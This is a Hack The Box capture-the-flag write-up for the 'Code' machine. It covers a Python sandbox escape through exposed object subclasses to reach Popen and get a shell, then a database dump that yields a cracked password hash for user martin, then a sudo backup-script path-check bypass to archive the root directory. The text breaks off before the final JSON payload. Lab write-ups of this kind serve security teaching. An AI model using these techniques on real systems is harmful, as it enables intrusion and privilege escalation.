Code is an easy-difficulty machine from Hack The Box dealing initially with an exposed python interpreter that allows us to run python code, where we’ll abuse exposed python subclasses to execute code and get a shell. We’ll then abuse a backup script that takes as an argument a json file, so we can request to backup the root directory and finally get the root flag Code-info-card
Web Application This looks like a normal python code interpreter where we can write and run code. So doing some tweaks, I thought of trying to take advantage of some python classes to run code, we can check that like this: print((()).__class__.__bases__[0].__subclasses__()) Web Application
I immediately thought of trying to call the popen subclass to run processes. It’s ranked 317 on the subclasses, so let’s call it after setting up our reverse shell payload:
Now as usual, first thing to do after getting foothold is to look for credentials:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
app-production@code:~/app/instance$ cat database.db cat database.db °O"╧OüPâtablecodecodeCREATE TABLE code ( id INTEGER NOT NULL, user_id INTEGER NOT NULL, code TEXT NOT NULL, name VARCHAR(100) NOT NULL, PRIMARY KEY (id), FOREIGN KEY(user_id) REFERENCES user (id) )ü*é7tableuseruserCREATE TABLE user ( id INTEGER NOT NULL, username VARCHAR(80) NOT NULL, password VARCHAR(80) NOT NULL, PRIMARY KEY (id), UNIQUE (username) ú╧úQQR*Mmartin3de6f30c4a09c27fc71932bfc68474be/#Mdevelopment759b74ce43947f5f4c91aeddc3e5bad3 µ±µ╓▌ ┌┌┤&$n# Cprint("Functionality test")Testapp-production@code:~/app/instance$
We do find a hash for martin user: martin:3de6f30c4a09c27fc71932bfc68474be
And the hash cracks to: martin:nafeelswordsmaster
We can now login as martin user on the system.
Looking at what martin can run as a sudo user:
1 2 3 4 5 6 7
martin@code:~$ sudo -l Matching Defaults entries for martin on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User martin may run the following commands on localhost: (ALL : ALL) NOPASSWD: /usr/bin/backy.sh martin@code:~$
He can run some sort of backup script as root, let’s check it out:
is_allowed_path() { local path="$1" for allowed_path in"${allowed_paths[@]}"; do if [[ "$path" == $allowed_path* ]]; then return 0 fi done return 1 }
fordirin$directories_to_archive; do if ! is_allowed_path "$dir"; then /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed." exit 1 fi done
/usr/bin/backy "$json_file"
This script takes exactly one argument: a JSON file (e.g., task.json). It sanitizes the directories_to_archive field by removing any ../ path traversal components, ensures all directories listed start with /var/ or /home/ (rejecting otherwise), updates the JSON file in place with the sanitized paths, and finally runs /usr/bin/backy with the JSON file as input to perform the backup task.
So what we can do to abuse it, is create a malicious json file to make a backup of the root directory:
